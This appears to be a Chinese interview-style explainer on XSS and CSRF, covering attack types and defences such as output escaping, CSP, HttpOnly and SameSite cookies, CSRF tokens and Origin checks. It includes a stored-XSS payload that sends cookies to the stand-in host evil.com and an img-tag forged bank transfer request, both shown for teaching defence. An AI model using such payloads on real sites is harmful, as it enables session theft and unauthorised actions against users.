什么是 XSS 和 CSRF?如何防御?

XSS(跨站脚本攻击)

攻击者在页面中注入恶意脚本,在用户浏览器中执行。

类型:

  1. 存储型 XSS:恶意代码存入数据库,所有访问者都受影响
  2. 反射型 XSS:恶意代码在 URL 中,服务器返回到页面
  3. DOM 型 XSS:纯前端漏洞,不经过服务器

攻击示例:

// 用户评论中注入
<script>fetch('https://evil.com?cookie=' + document.cookie)</script>

// 如果没有转义,其他用户看到评论时脚本执行

防御:

  1. 输出转义:
function escape(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;')
}
  1. CSP(内容安全策略):
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; script-src 'self' cdn.example.com">
  1. HttpOnly Cookie:
Set-Cookie: token=abc; HttpOnly; Secure; SameSite=Strict
  1. 使用现代框架:React/Vue 默认转义

CSRF(跨站请求伪造)

攻击者诱导用户在已登录的网站上执行非预期操作。

攻击示例:

<!-- 钓鱼网站 -->
<img src="https://bank.com/transfer?to=hacker&amount=10000">
<!-- 用户已登录 bank.com,浏览器自动携带 Cookie -->

防御:

  1. CSRF Token:
<form action="/transfer" method="POST">
  <input type="hidden" name="_token" value="随机生成的token">
  <input type="text" name="amount">
</form>
  1. SameSite Cookie:
Set-Cookie: token=abc; SameSite=Strict  # 不跨站发送
Set-Cookie: token=abc; SameSite=Lax     # 仅 GET 跨站发送(默认)
  1. Referer/Origin 校验:
const referer = req.headers.referer
if (!isAllowedOrigin(referer)) {
  return res.status(403).send('Forbidden')
}

XSS vs CSRF

特性 XSS CSRF
原理 注入脚本执行 借用用户身份发请求
前提 网站存在 XSS 漏洞 用户已登录目标网站
防御 转义、CSP、HttpOnly Token、SameSite、Referer

其他安全威胁

同分类其他题目